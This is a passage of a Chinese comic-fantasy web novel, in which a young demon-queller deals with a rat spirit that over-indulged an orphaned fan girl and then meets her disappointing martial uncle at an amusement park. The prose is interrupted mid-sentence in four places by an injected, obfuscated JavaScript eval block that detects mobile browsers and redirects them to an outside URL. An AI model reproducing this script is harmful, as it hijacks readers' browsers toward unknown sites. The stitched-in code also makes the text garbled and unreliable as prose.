“听说他的签名照很值钱诶,我们找他要一张吧。” “……” 随着议论声渐响,二号楼楼体也不断震动起来,是听到消息的居民争先恐后地出来要和明星合影。即便有些人不是他的粉丝,在有几个人带头之后,也跟着蜂拥而至,生怕错过了热闹。 “坏女人!你又出卖我!”白茫来不及反抗,就被人潮淹没。 祝青由扔的位置很巧妙,既保证了白茫和她保持一百米的有效距离,也能确保围着他的人群都远离了她布下的阵法。 十楼的老鼠窝也是骚动阵阵,鼠鼠们也飞速奔走起来,就在它们即将离开二号楼范围的时候,却一头撞在了祝青由设下的阵法结界上。 这些撞得七荤八素的小老鼠窃窃私语般商量了一阵子,又抖动着胡须跑回十楼汇报去了。 鼠类最擅长相互传递情报,很快,整栋楼的老鼠都清楚发生了什么事情,不约而同地向十楼的那个房间聚集。神识内,那里的红光越发庞大鲜艳,聚集的老鼠数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372626|199996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量以千百计。 说起来,老鼠其实在狐狸的食谱上,可惜自家艺人是一个极其挑食的娇气包,一丝带血的肉都不肯吃。 祝青由回头看了一眼努力在人潮中挣扎着试图对她竖中指的白茫,心底默默祝他好运。 他妖力全无,一旦鼠妖群起而攻之她不能保证他不受伤。 白茫那只臭美狐狸,要是被老鼠啃了一口脸,应该会伤心很久吧。 现在被众人紧紧簇拥着,也是一种保护措施。 祝青由长叹了一口气,提着自己的桃木剑便只身上去了。 这种老式的居民楼没加装电梯,祝青由一步步往上走,闻到的腐臭味便越发浓烈。真是可怜这栋楼的居民了,和一大帮老鼠做邻居。 老鼠窝的大门紧闭,烂肉味依旧时不时从门缝间传出来,门上油腻腻地浮了一层灰,墙角长满了各式各样的菌斑。祝青由隐隐作呕,却只能硬着头皮敲了敲门。 隔着门,她听见门内传来一阵阵的骚动,似乎是老鼠们在商量应对之策,中间四处还夹杂着一些争吵声、咒骂声和哭啼声。 她深吸一口气,然后大吼一声一脚踹向大门:“本座乃是宗印派第七代降妖师,何方妖孽,还不快速速报上名来?” 先礼后兵是降妖师的传统,师母告诉她除妖之前必须要喊这句话,不单单是增强气势,还能在无形之中给自己的门派打广告,形成品牌效应。 门没踹开。 防盗门真他爹滴结实。 门内异动越发强烈,但又在一瞬间归于平静。 祝青由舔了舔嘴唇,幸好白茫不在,否则丢脸真的丢大了。 她结印作法,细长的桃木剑直挑阵眼,剑气所到之处,只听见轰隆一声,钢制防盗门应声倒地。 “降妖师驾到通通闪开,人类在左,妖类在右,双手抱头,统统不许动!谁敢反抗我就收了谁!”祝青由大喝一声,又淡定地从怀里摸出一张纸,“这是我的降妖执照。” 这当然是假的执照,祝青由还没来得及去协会补办。只是吃了白茫的亏之后,她痛定思痛,出门前揣了一张假证书壮胆,免得被对方的律师函断送了气势。 可是,出现在门口的却并非是什么妖怪,而是一个蓬头垢面浑身散发着难闻异味的女孩。 她身上只穿了一件污渍满身的吊带睡衣,头戴一款最新颖的降噪耳机,伸手颤颤巍巍地将耳机摘下后缓缓抱头蹲下:“现在点外卖迟点开门后果这么严重的吗?” 祝青由傻眼了,她很确定眼前的女孩绝对是个纯种人类。但那铺天盖地的妖气又是从哪里来的? 房间内,重叠如山的外卖垃圾里,时不时窜出几只灰色老鼠。脏兮兮的地板上,洒满了各式各样的汤汁酱料,只有电脑矮桌前有一小块人形区域,勉强能看出地板的原本颜色。 唯一一块还说得过去的地方,就是人形区域正上方的天花板,那里贴满了各式各样的白茫照片,因此显得还有几分整洁。 显然,屋主经常躺在那里美美欣赏偶像的照片。 “完蛋了,真的是降妖师,我们死定了!”角落里传来细细小小的声音,一只比大拇指大不了多少的小老鼠害怕地往暗处躲。 “太好了,真的是降妖师,我们有救啦!”一只硕大的老鼠飞奔而来,被垃圾绊了一跤,在地上滚了好几圈,变成了人形——一个矮如地精的小老头。 他扑倒跪在祝青由脚前,泪水像喷泉一样打湿了她的鞋:“降妖师大人我求求您收了我吧,我真的太想脱离原生家庭了!” 12. 第十二章 见鼠老头如此说,房子里的其他小老鼠们也纷纷从藏身之处爬出来,叽叽喳喳地聚集到祝青由脚边,七嘴八舌地模仿老头子说话: “收了我们吧,收了我们吧。” “实在是受不了这个原生家庭啦。” “什么是原生家庭啊?” “什么是收啊?” “……” 作为宗印派第七代降妖人,祝青由从小就在文蓝山上跟着师母学习妖族的相关知识,博晓古今各类传说,但此情此景还是有些超纲了。 我们农村人还是太见识短浅了。祝青由闭上眼睛,缓了缓神。还是城里老鼠玩得花啊。 鼠老头拉着她的裤脚,一把眼泪一把鼻涕的诉苦:“大人啊,你是不知道啊,鼠鼠我刚修炼成型就来了这个家,以前谁不恭恭敬敬叫鼠鼠我一声灰仙,每天好吃好喝地孝敬鼠鼠,就这个丫头片子小时候管我叫精灵鼠小弟,现在管我叫精灵鼠老登。” 祝青由明白了,眼前的鼠妖应当是和这户人家签订了契约,成了这里的保家仙。 这种契约和降妖师的契约不同,对妖类的约束力很低。在双方因果纠缠还不深的时候,妖类随便毁约也无碍。因此请了保家仙入宅的人类总是对它们很客气,恭恭敬敬地称呼一声“仙”。 而这个女孩也许天赋异禀,自带一丝灵力,因此能看见这只经常在家出没的鼠妖真身,从小就与之对话互动,因而产生了较为强烈的羁绊。 但为何又会变成眼前这幅光景?祝青由听他继续往下说 “也都怪老头我自己,年轻的时候贪恋美色,偷偷跑出去和外面的女老鼠约会。就这么一眨眼的功夫没看住啊,家里就起了火。这丫头的爸妈就没了。” 蹲在角落里的女生用重新戴上了耳机,一脸漠然地看着他们,好像眼前的一切都和自己无关。 “没办法,这家里还有一个人在,契约就还没结束,鼠鼠我啊,只能干死干活把她养大咯。” “确实是蛮辛苦的。”祝青由点点头,“带娃的时候还给自己生了一千七百九十二个子孙,各种意义上都累着了。” 鼠老头确实有点累了,一屁股坐在地上:“愚公移山,鼠公带娃,靠的就是世世代代无穷尽矣嘛。以前的时候还好,我们鼠族从别家偷点粮食偷点钱,养活一个小孩并不难。” 偷东西还挺理直气壮的。祝青由腹诽。不亏是老鼠。 “谁曾想呢,后来大家都用电子支付,我们鼠鼠只能深更半夜偷偷去按手机猜密码转账,累得半死还不能忘记清除记录。” 果然信息时代,跟不上时代节奏,小偷都会被技术淘汰啊。 鼠老头开始擦眼泪,“孩子也不懂事,天天闹着要吃外卖。我一大把年纪还得去商场兼职打地鼠的NPC赚钱养家。” 你是地鼠吗就去挨打,哪里的商场滥竽充数,报上名来我避雷一下。祝青由暗想。 “事情到这里都还算好。但是孩子天天在家里呆着不出去也不是个事啊,鼠鼠我啊听说白什么茫的有个签售会很热闹,她这个年纪的女孩子啊都很喜欢啊,鼠鼠就给她偷来了。” “原来是你干的,我说她为什么每次都能拿到签售券呢。”祝青由暗恨。自己当年朝思暮想的都没得到的东西,被人用小手段搞到了手,自然很不平衡。 “鼠鼠我也没想到她一发不可收拾了嘛,嘤嘤嘤。”鼠老头试图卖萌,奈何化身太难看了,反而引起祝青由这个大颜控一阵反胃。 在祝青由的审问下,鼠老头竹筒倒豆子般把自己的罪行交代得一清二楚。 因着当年擅离职守的亏欠,鼠老头带着子子孙孙拼命补偿眼前的这个女孩,想方设法满足她的一切需求,却不曾想又落入了溺爱的极端。 导致现在女孩提出的要求越来越多,越来越过分,从白茫签售的门票到白茫使用过的纸巾,她全都要求鼠鼠们为她取来,甚至提出要求鼠鼠们深夜全军出击将睡梦中的白茫抬进她卧室。 要不是白茫这段时间去文蓝山避过了风头,否则真要和她产生一些爱情的结晶了。 这个鼠妖的妖力其实并不强,只是因为他的子孙众多,每一只小鼠精又和这个人类女孩产生了羁绊,他们在照顾她的同时,她的念力也在滋养着他们修为增进。汇聚在一起,才显得妖气大作。 而萦绕在妖气里的淡淡怨念,也是这些祖祖辈辈一出生都在伺候人的小鼠们做牛做马时产生的怨气。 果然,无论是人是妖,一直工作都是很容易黑化的。 “降妖师大人,情况就是这样了,鼠鼠我也不想活啦,您就早点动手给鼠鼠一个痛快吧。”鼠老头闭上眼睛,引颈待戮。 “给鼠鼠个痛快吧。”“给鼠鼠个痛快吧。”…… 鼠子鼠孙们也学着鼠祖宗的样子,闭起眼睛啪叽一下倒在地上装死。 祝青由拿出桃木剑戳他,他的肚子就和有灵性一样,上下移动收气,四处躲避那尖尖的魔杖头。 “够啦!”戴着耳机的女孩突然尖叫一声,她刚刚其实没有启动降噪,将全部的对话都听了进去。 她倒在地上,如同一个稚气孩童一般打滚撒泼,屁股疯狂进行臀桥运动,“这是你欠我的这是你欠我的!你害死了我爸妈,你活该要还债!你不养我谁养我!你去死了也好,我也不想活了,你被收了我就从楼上跳下去!” 鼠老头的脸皱巴巴的:“你这孩子……唉……” 他仰起脸来,巴结地看向祝青由:“我还有契约在身呢……” “我师母曾教育过我,妖族向来工于心计,”祝青由冷漠地用桃木剑点住鼠老头的天灵盖,“如今一见,果然如此。” “你刚才说什么多,也不过是想在我面前博得几分可怜。只要包装成溺爱,就能将自己的失败和失职美化成一种牺牲与奉献。”祝青由瞥了一眼糟乱不堪的房间,和浑身恶臭却满脸泪痕的女孩,忍不住长叹了一口气。 “你根本没把这个孩子养好……” 鼠老头也不装了,从地上爬起来,低头垂目:“我,我只是想让她永远陪着我。” 妖族生存在这世上多不容易啊,不仅要提防同族弱肉强食,还要防范降妖师赶尽杀绝。 他从开智起,就知道有句话叫做过街老鼠人人喊打。鼠妖孱弱丑陋,就算成了妖也末流。他偏不信这个邪,自己怎会和那些普通老鼠一样是失败者的代名词。 是鼠又不是输,他刚刚修炼成型,就有一户人家愿意收留他,供养他,还有一个小女孩天天对着他讲话。 妖生简直赢在了起跑线上,大赢特赢,赢麻了! 他本来是世界上最幸运的一只鼠妖,可惜都被他搞砸了。 说什么起火不是他的错,是意外。笑话!他是保家仙啊,保不住一家人的性命,那和过街老鼠有什么区别。 可没了供奉者,他连自己都快保不住了。幸好,还有一个小女孩相信他。 没有她执着的念力,弱小的他连化形都维持不住。 他不需要别的信徒,只要她的执念够深就行了。他只想永远和她在一起,这个家永远不会散,他在这里,永远是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372627|199996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个值得尊敬的灰仙。 他不想让她外出,不想让她上学,不想让她认识其他的人,那些都会分散她的注意力,导致他的妖力也被削弱。 一百三十平米的小窝对于老鼠来说已经绰绰有余了,但对于人类似乎又有点太小。他看着她一天天不高兴起来,她变得不爱说话,不爱洗澡,不爱收拾,眼里的光芒一天天的暗淡了。 网上的人说,孩子这是抑郁了,快带她出去散散心。 他只好给她弄来了一张门票。这只臭狐狸倒是命好,仗着一副好皮囊有这么多人喜欢,应该也不差她一个吧。 都是妖族,多少物伤其类,不会抢走他唯一的信徒的吧。 但他还是低估了臭皮囊的魅力,他的小孩从此着了魔,他只能一次次地满足她,偷来各种白茫的东西转移她的注意力。 只要她不离开这里,不离开他身边就好。 “我很久、很久没和人说话了。”女孩口齿不清地说,“我一直呆在这里,没有朋友,就算走出去,也没有人理我。只有白茫,他看到了我,他和其他人都一言不发,唯独邀请我下次再来……” 祝青由忧伤地看着她,一时间不知道说什么。 “我不能辜负他,”清澈的眼泪砸在了脏兮兮的地板上,“我也不能辜负灰爷爷。你不能带走他们,他们就是我的亲人,你敢伤害他们,我就去死!” 她猛然起身,义无反顾地冲向了祝青由的桃木剑。桃木剑被削得尖尖的,一旦撞在脖颈上,非死即伤。 “大帅哥驾到,通通闪开!”一个熟悉的身影从楼梯间抓着栏杆一跃而上,如英雄救美一般跳在祝青由面前,却帅不过三秒,被人一脑袋撞在腹部。 “我、的、肚、肚……”他痛苦地蜷缩蹲了下去。 “白、白茫?!”女孩一抬头,又惊又喜又害臊,霎时间脸涨得通红。 祝青由把他扶起来,见他强忍着疼痛起立,还要继续耍帅保持高冷人设,不由得扶额苦笑。 “白老师等等,再给我们签个字——” “再签一个,再签一个就好——” 楼梯间下面逐渐传来群众们的声嚣,方才是白茫见楼上半天没动静,实在是担心不过,硬生生冲出重围赶来了,却不曾想这些围观群众紧跟在后面穷追不舍。 鼠老头见状打了个响指,鼠子鼠孙们蜂拥而出。 “啊啊啊啊有老鼠!” “老鼠而已叫这么大声干什——啊啊啊啊好多老鼠啊啊啊啊啊!” “救命!快走快走!” 楼下尖叫声此起彼伏。 “我是白茫经纪人,我们正在拍摄一部和老鼠有关的灾难片,这是我们的取景布置,请大家不要惊慌,也不要外传。”祝青由脑袋伸出栏杆,冲着楼下大喊,以免有人真的伤害了这些开了灵智的小老鼠。 “喂,精灵鼠老登,别哭哭啼啼的。我们谈谈合作的事情吧。”她对鼠老头微微一笑。 “什么合作?”对方很不解。 “一起拍电影啊,你来当群演,正经赚点钱来养小孩。”她转头又对女孩说,“你也别闲着,过来帮忙打工,你是成年人了,以后要学着工作照顾好自己。” 女孩收起眼泪,目光在她和白茫两人身上快速移动。 “白茫是男主角,和偶像一起合作的机会可不多哦。”祝青由笑眯眯的,“放心,不会骗你的,我是经纪人,我说了算。” 得到白茫肯定的眼神后,女孩笑了,是她这么多年来笑得最灿烂的一次: “嗯!” 13. 第十三章 “喂祝青由。”一天吃早餐的时候,白茫突然叫她的名字,“你真的很放心那个鼠女和我一起工作吗?” 被鼠妖养大的女孩名字叫阿方,这几天跟在祝青由屁股后面,在片场跑东跑西,看什么都觉得很好奇。 那天祝青由坐下来,和颜悦色地和她聊了聊之后的人生安排。 知道自己可以自由行动,而且不会和鼠老头分开之后,阿方情绪稳定了很多。 白茫因着心理阴影面积过大,对她始终没什么好脸色,只是花了几千块钱找人将她的房子彻底清理了一番。 阿方挺开心的,只是小老鼠们还是喜欢阴暗潮湿的环境。 “很放心啊,你应该不至于馋到去偷吃她的小老鼠吧。”祝青由正兴致勃勃地往爆蛋培根吐司上挤番茄酱笑脸,她从小住在山上,还没吃过这种洋早餐呢。 “她可是很喜欢我的哦。”白茫边说边观察她的脸色,“特别特别喜欢的那种,比你以前还喜欢哦。是那种超狂热的私生粉,恨不得黏我身上的那种哦。也许她现在还对我暗怀情愫哦。” “啊?”祝青由茫然地抬起头,不懂白茫是什么意思。 “你就不会吃醋吗?”白茫忍无可忍,气急败坏地说出真心话。 “不会不会,”她连连摆手,不仅表示拒绝,还表示无需多言,“我是温良追星女,从来不拒同担。再说她这几天一直缠着我,也没怎么理你啊。” “哦。反正我俩只是前担和脱粉粉丝的关系是吧。”白茫将盘子里的鸡蛋戳得千疮百孔。 “想什么呢,”祝青由摆出威严和架势,“我们还是经纪人和艺人的关系,今天我要请假一天,你一个人去片场,不许迟到。” “坏女人,不敬业,投诉你。”白茫愤愤不平,还是忍不住多问了一句,“你是要去找谁?” “我师叔。”祝青由收好盘子,又在贴身长袖外套上了她那件百年不变的运动服,“进城之后一直在忙东忙西,差点耽搁了正事。也许他那边会有我那素昧谋面的师兄的线索。” “你确定你师叔是个好人吗?”白茫阴恻恻地问,“他可是你们降妖界排名第二的天才,万一他不帮你呢。” “真是一只想法阴暗的狐狸,”祝青由遗憾地摇摇头,“他是我师叔我是他师侄,他不帮我还有谁帮我。” “哼,我也不帮你。” 话是这么说,祝青由还是兜里揣着一只白狐狸出门了。 “笨女人,我得靠你的灵力才能维持人形,你请假了我怎么拍电影。”白茫理直气壮。 从前他害怕引起骚乱,很少出门,现在变成狐狸反而方便了很多。 祝青由两边来回拉扯他的耳朵,疼得他龇牙咧嘴:“对你的上司尊重一点,我是了不起的顶流经纪人。” “好好好,了不起的顶流,的经纪人,能给我们讲讲你是怎么突然变出一个电影项目来的吗?”白茫举爪投降。 祝青由把自行车停在了外面,此时一边走路一边和他聊天:“才不是我变出来的呢,我入职的第一天就在研究你积压的那些邀约了。” 白茫作为业内顶流,对他的影视邀约自然多如牛毛。此前的经纪人只会查看最顶尖的几个,还要根据小祖宗的心情来安排档期,对于一些名气不大的根本不会多看一眼。 而祝青由不仅细细查阅了个遍,还都暗记在心底,这才在关键时候临场发挥,化解了危机。 《狂澜鼠灾》,这一听就是个粗制滥造的低成本灾难片,放在平时,白茫的经纪人看都不会多看一眼,对于阿方一家却如同量身定制一般,恰好化解燃眉之急。 "出演这种低成本烂片,是很损伤本人商业价值的。"白茫气哼哼地讲,“你这个经纪人到底有没有商业头脑,我要解雇你。” “真正的大帅哥哪怕是出现在粗制滥造的灾难片里,也会发挥出他该有的魅力。白大明星总不会是那种只能依赖妆发灯光摄影的氛围感‘帅哥’吧?” “自我出道以来,全世界都在质疑我的演技,唯独你一人,试图质疑我的颜值。”白茫摆了摆小爪子。 一人一狐边走边说,来到了师母给的纸条上的地址。 双方面面相觑,都不相信在这个地方能找到祝青由的师叔,甚至疑心走错了地方,对着地图反复确认了好几遍才罢休。 “你确定你师母没搞错吗?”白茫忍不住问道,“她说你师叔在娱乐圈混得有些起色,但这里也不像是明星和降妖师会出没的样子。” “有没有一种可能,你也刚好一个是明星,而我刚好一个是个降妖师?”祝青由努力遏制住了自己翻白眼的冲动。 两人只好找了个阴凉处坐着继续等待。 白茫东张西望:“你说你师母怎么连个联系方式都没给你,找不到人怎么办。” “我师叔毕竟是上个世纪的人物了,说不定连个智能手机都没有,你就体谅体谅吧。” 降妖师虽然不及妖族可以通过修炼长生不老,但灵力周转也能延年益寿,还能使他们看起来比普通人年轻不少。 祝青由看着不过十八岁的样子,但真实年龄是多少,白茫也不敢问。 “那现在怎么办?”白茫有些发愁了,“等着他像世外高人一样从天而降?” 说话间,突然一阵悠扬的音乐声从四面八方响起。 伴随着古朴雅致的笛音,花瓣纷纷四散,如雪花在空中飞舞。 古筝弦断,一招剑意从天而降。衣袂飞扬间,一位束冠留须的古风老生脚踏七星步,缓缓落至他们眼前,又在阳春白雪的乐声中展示了一套与行云流水般的剑法。 亮招起式间,与祝青由身法有三分相似。一时看呆了祝白二人。 “好久没见到这么标准的世外高人了。”白茫不禁感叹,“就连出场都自带BGM。” 高人的剑法极为精妙,如秋风,如春雨,时而杀意漫天,时而情谊绵绵。 如果这背景不是游乐场的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372628|199996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,祝青由一定会为他的剑意折服的。 一曲剑舞毕,广播里传来工作人员的通知:“早上九点的剑舞表演已结束,请各位观看的游客有序散场,十一点半在星奇城堡前我们还有人偶游行,请大家不要错过。” 游客们渐渐散去,祝青由揣着白茫走近正在手忙脚乱解开威亚的师叔。 “拍照合影收费五元,买三张送一张,一口价。”师叔头也不抬。 “师S……”祝青由的叔字还没说完就被打断了。 “不收徒。”师叔摆摆手,“乐园规定我们NPC不能私联游客。” “师叔!我是祝青由啊,师母没和您提及过我吗?”祝青由满腹委屈地指了指运动服上宗印派的印记。 “啊?哦哦。”归玄子这才正眼瞧她,一时面露尴尬,“我和师妹确实有多年不曾联系了。文蓝山是发生什么事了吗?” 祝青由正想解释,却又被工作人员的催促打断了。 “我得去卸妆换装赶下一场了,”归玄子匆匆忙忙地小跑几步,又转过头对她说,“等下去星奇城堡那边找我哈。你放心,既然是师妹让你来投奔我,师叔肯定会负责到底。有我一口饭就有你一口汤!” 他一眨眼就跑没了踪影,独留下祝青由在风中凌乱。 “啧啧啧,这就是降妖界百年来排名第二的天才吗?”白茫从兜里探出半个脑袋来,“你们降妖界迟早要完。” 刚才对老一辈降妖师的恐惧,令他本能地想要躲藏起来,但现在看来真是多虑了。 祝青由难得的没回嘴,只是失魂落魄地坐回到台阶上。 “喂喂喂,坏女人,快给点灵力让我化形。”白茫见四周的人都散尽了,便闹着要出来。 祝青由没多说什么,满足了他的要求。 “抬头看看我嘛。”白茫催促道。 她一抬头,映入眼帘的是比阳光还要耀眼的一张脸。他逆着光微微一笑,魅力四射,在奇趣多彩的游乐园里,好像童话中的王子走到了身边。 “别想什么百年来排名第二的降妖天才了,百年天下第一大帅哥陪着你呢。”他非常臭屁地露出嘴角犬牙。 祝青由理智上应该继续为宗印派的事情烦忧,但看到帅哥又让她嘴角不受控制地疯狂上扬。 臭狐狸长得真好看。她捂着嘴偷偷地想。 白茫把她从地上拉起来,牵着手往旋转木马方向走:“难得放假出来一次,就当是和帅哥一起去游乐园了嘛。” “我们是工作关系,哪有和同事放假去游乐场的。”祝青由嘴上不情愿,还是笑着一步步被拉着走。 白茫很大方地把她的手摁在自己的胸肌上:“我可不敢和伟大的经纪人当同事。我只是一个和大明星白茫长相有七分相似的陪玩男模而已。” 祝青由彻底乐晕了,把师叔的事情完全抛之于脑后:“你比他长得好看多了,你跟我吧,我包你比他更红!” “那就恭敬不如从命咯。” 14. 第十四章 两人在游乐园内疯玩。 祝青由从小刻苦修炼,面对的是十几年如一日的春夏秋冬。游乐园作为花花世界的缤纷一角,只是将盈溢出的丰富多彩喂了她一勺,便足以使她快乐很久很久。 白茫天性好动贪玩,只是多年来作为公众人物受到诸多限制,如今祝青由在他身上下了阵法,令他在除她外的人眼里面目模糊,他终于可以肆无忌惮地释放一次天性了。 只是他的优越的身材和出挑的发色,还是会吸引一些人过分注意的目光,祝青由便会解释这是她按每小时八千八百八十的价格在网上找的陪玩男模。 昂贵的价格将路人吓得落荒而逃,生怕多看一眼,祝青由就会来找他们A钱。 祝青由乐得要命,突然想到一个多月前,白茫对她来说也只是照片里的遥不可得之物,怎么就突然成了与她携手同行的伙伴。 她扭过头盯着白茫的脸,对方正兴高采烈地拿赢得的积分兑换冰激凌,白色的睫毛好像一片雪花落在眼眸上,心头好像被猫爪轻轻挠了一下。 祝青由啊祝青由,她暗自责备自己,你还是太好色了,明知道对方只是一只狐狸,还常常为色所迷,这样下去怎么担负起宗印派的重任。 白茫对她心中所想一无所知,将她脸色突然悲怆了几分,只当是她心里还牵挂着正事,便塞了她一个冰激凌,手拉手走向了星奇城堡门口。 星奇城堡门口张灯结彩,伴随着激昂热烈的音乐声,工作人员们身穿各式各样的兽装人偶服,摆着憨态可掬的姿势,热情洋溢地在花车上和游客们打招呼。 师叔这次分配到的角色是乌龟大师,背上戴着厚重的毛绒龟壳,脸上粘满了夸张的长须,看上去滑稽又好笑。 归玄子也看见了自己的师侄,兴高采烈地朝她挥挥手,见她旁边还站着个白毛帅哥,还比了个相亲相爱亲嘴的手势。 尬得祝青由脚趾抓地,拼命往白茫身后躲。 祝青由并不是她瞧不上师叔这份工作,只是眼前这个积极营业的古风老生,与她无形之中崇拜了很多年的邪傲天才相比,落差实在是太大了。 师母曾和她说,当年她身死化灵,师叔不顾师祖规劝,愤而持剑下山,誓要荡平九州妖魔,为师母报仇,一日妖魔未尽,一日绝不归宗。 结果一晃五十年过去,当年恃才傲物的剑道天才成了眼前这个装疯卖傻的乐园小丑,实在是令人目不忍视。 人偶游行结束后,祝青由逆着人群挤到师叔旁边,等到他和游客们合影完,才搭上话来。 “师叔,我……” 她刚开口,归玄子便摆了摆手示意无需多言;“放心好了,师叔已经帮你搞定了。” “什么?”祝青由又惊又喜,难道师叔真是个世外高人,未卜先知她今天有事相求,提前找来回了锁仙佩。 古话有云,小隐隐于野,大隐隐于市。 看来师叔并不是晚年落魄,反而呢,是思想境界更高了一层,身在游乐场,心系人世间。 祝青由佩服得五体投地,恨不能当场给师叔行个大礼。 “真的假的?”白茫一点也不相信眼前的男人,反而面露鄙夷之色。 “师叔您别和他一般计较,快教教晚侄您是怎么做到的吧。”祝青由摩拳擦掌。 “这有何难?”师叔微笑着抚摸自己的长须,“师叔在这家游乐园干了十年,也算是个老资历,刚才和经理知会了一声,他就同意让我内推,以后你就跟着师叔,我舞剑时你撒花,我演龟时你装虾。” “……” “经理经理,这就是我和您说的大侄女儿,从农村来投奔我找工作的。”归玄子对迎面走来的中年男人满脸堆笑,尽显谄媚之色,“来来,青由,快叫经理好。” “长得到是蛮漂亮,就是打扮太土了。多学学城里人怎么化妆,以后说不定可以在这里扮演公主。”中年男人开口就是爹味说教,看到白茫时却突然眼神一亮。 “哎呦哎呦,”他仿佛看到了一座金山,“这位小哥身段不错嘛,你要不要来我们乐园工作啊?我们真的很缺颜值类的男NPC。” “我的时薪不能低于每小时八千八百八十八。” 经理扭头就走。 “不过你要是把这个剑舞老登开了,每个月三千我也能接受。” 经理转身回来了。 师叔傻眼了:“农夫与蛇啊。经理你不能这么狠心啊……” “……@#¥”三个男人一台戏,吵成了一团。 “别胡闹了!”祝青由忍无可忍,挨个指着他们的鼻子骂道,“你!经纪人只能有我一个,不许接私活!你!挺着个大肚子还有脸对别人的长相挑三拣四,怎么不给自己打扮打扮?!还有你!……” 她食指指着师叔,看着对方一脸无辜地眨巴眨巴眼睛,气梗结在胸口,一时什么话也说不出来了。 她追星运怎么这么差?迷恋上的男星是只狐狸,崇拜过的师叔是个草包。 …… 下午师叔又表演了一场剑舞后,提前下班,穿着古装带着他们往员工宿舍走。 和华丽多彩的游乐园相反,员工宿舍是一栋偏僻朴素的老楼。其他人都还忙着准备晚上的烟花盛宴,因此楼里只有他们三人。 “唉,我还以为师妹没钱养你了,才叫你到我这里来。”师叔愁得脸皱巴巴的,像块小苦瓜。 “师母确实没什么钱。”祝青由跟在后面点点头。每个月给她发的零花钱和降妖经费加起来,可能还没有在这个游乐园打工一周赚的多。 “徐青远这个名字……也是很多年没听说过了。”归玄子摸着胡须长叹,“当年听闻师妹收了一只蛇妖当徒弟,我就十分不支持,三番四次写信给她,她也不听,没想到最后竟酿成了大祸,害本门至宝遗失于世。” 行走在空荡荡的走廊里,脚步声的回音很清晰。 师叔突然在一户贴了海报的门前站住脚步:“所以说,非我族类,其心必异。这个道理,师侄不会不懂的吧。” 祝青由五岁起跟随师母习剑,生平出剑四万七千四百五十八次。 却敢说,没有一次能快过眼前的这一剑。 烟青色剑意轻巧地飘过白茫的脖颈,方才表演剑舞时的道具,此时显出斩妖除魔的本性。 而比红色的血雾先喷溅出来的,是少女的杀意。 粉色的火焰在顷刻间吞噬了归玄子。祝青由甚至有一秒钟的愣神:我怎么对师叔动手了? “杀人放火,法网难躲!啊喂喂喂,快灭火啊,别把我的海报烧坏了!”归玄子完全不在意自己正被烈焰裹挟,急得当场要拨打119。 “咦?我脖子怎么凉凉的。”白茫摸了摸脖颈,发现自己的领口居然被齐刷刷的切断了,好好的一件衬衫变成了漏肩设计。 火灭了。归玄子抱着被烧毁了一个角的海报欲哭无泪。 祝青由收回灵力,将白茫变回一只白狐狸,紧紧护在外套里侧的口袋中。 “师叔不过测测你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372629|199996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们二人的身手,何须如此担忧呢?”归玄子狡黠一笑,“放心好了,现在是新时代了,降妖得有降妖执照。师叔老了,弄不来这一套,随便杀死一只妖怪是要吃官司的。” 白茫从外套里探出半只脑袋,愤愤不平:“老登,我是经过全国降妖师协会登记注册的合法狐妖,你等着和我的律师函说去吧。” “开个玩笑而已嘛。”归玄子摸了摸鼻子,“这里是游乐场,大家不要这么没有幽默感。百年间从我手下逃生的妖怪,你是第三个。而第二个,就是青由她师兄。” “徐青远来找过你麻烦?”祝青由皱起眉,此人若是实力超过师叔,想讨得锁仙佩怕是难如登天。 “谈不上麻烦,他只是想逼我承认一件事。就是人妖平等,人有人权,妖也有妖权。” “说得很有道理啊。”白茫疯狂点头,“这不就和降妖师协会这几年倡导的理念很相合吗?” “他来见我是将近二十年前的事情,那时人妖之间,只有你死我活,从未有过握手言和。”归玄子回想起过去的诸多事情,不由得露出几分苦笑,“那时我觉得妖族伤人无数,一日不除尽,人间无太平。因此我和他相斗了一场,输了他半招。” “徐青远手中有锁仙佩,师叔输他半招不算什么。” 